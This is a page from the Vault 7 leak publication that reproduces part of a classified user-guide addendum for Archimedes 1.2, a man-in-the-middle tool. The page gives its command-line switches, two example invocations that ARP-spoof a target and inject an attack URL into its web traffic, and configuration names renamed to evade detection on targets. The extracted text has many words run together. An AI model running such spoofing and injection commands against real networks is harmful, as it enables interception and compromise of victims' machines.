# Vault 7: Projects

This publication series is about specific projects related to the Vault 7 main publication.

### Archimedes

# Archimedes 1.2 Addendum

23 August, 2013

- 1
- 2
- 3
- 4
- 5
…
- 7
- 8

SECRET//NOFORN

2
SECRET//NOFORN
(U) NEWFEATURES
(S)IMPROVEDARGUMENTPARSING
(S//NF)Asmoreoptio nshavebeenintroduced,theoriginalparameterparsingapp roachwhichrelied onthe
argumentorderhasbecomedifficulttouse.Archimedes1.2modifiesthetooltorequireparameterswitchesin
commandlinespassedtotheEXEand DLLbuilds.Thissimplifiestheargumentspecificationbyreducingthe
numberofparametersrequiredandeliminatingthedependencyonargumentordering.
ARCHIMEDES 1.2 USAGE
REQUIRED
-t [Target MACAddress]
-g [Gateway MACAddress]
OPTIONAL
-u [Injected URL, required except for SURVEY_ONLY (SO) method, No default]
-d [MILLISECONDS_BETWEEN_SPOOFS, Optional, Default: 1000]
-v [VERIFY_ROUTE (TRUE/FALSE), Optional, Default: FALSE]
-m [INJECTION_METHOD, Optional, Default: SO]
-p [PORT for HTTP monitoring, Optional, Default: 80]
-w [HOST_WHITELIST Optional, Default: (empty)]
Example:
1) f32.exe -t 00:0C:29:BD:34:45 -g 00:0c:29:61:d0:d7 -m SO
2) f32.exe -t 00:0C:29:BD:34:45 -g00:0c:29:61:d0:d7 -u http://10.0.0.11/attack.html -v
FALSE -m HI -w www.mytest.com,mytest.com,www.yahoo.com
(S//NF)Spacesbetwe entheswitchandtheargumentareoptional.Pleaseseethe“APPLICATIONDE FAULTS”
sectionbelowforinformationonthedefaultvaluesofeachconfigurationvalue.NotethattheinjectedURLvalue
isrequired,exceptforSURVEY_ONLY(SO)mode.
(U)RENAMEDCONFIGURATION ITEMS
(S//NF)Thefollowingnamesusedintheencryptedconfigurationfilehavebeenchangedtoavoidhaving“alerting”
stringsonthetarget:
OLDNAME
NEWNAME
DESCRIPTION
VICTIM_MAC VM Target’sMACaddress
HIJACKED_MAC
HM
MACaddressofthegateway(hijackedaddress)
MILLISECONDS_BETWEEN_SPOOFS MS TimebetweenARPspoofs
INJECTED_URL
IU
URLthatwillbeinjected
INJECTION_METHOD IM HTMLmethodsusedtoinjecttheURL
USABLE_MEDIA_TYPE S
UM
HTMLcontenttypetoinjectagainst
USER_AGENT_WHITELIST UW Onlyattacktheseagents
USER_AGENT_BLACKLIST
UB
Don’tattacktheseagents
VERIFY_ROUTE VR Sendverificationpacketbeforeattack
PORT
PT
PorttomonitorforH TTPtraffic
HOST_WHITELIST HW Listofhoststhatcanbeinjectedinto

- 1
- 2
- 3
- 4
- 5
…
- 7
- 8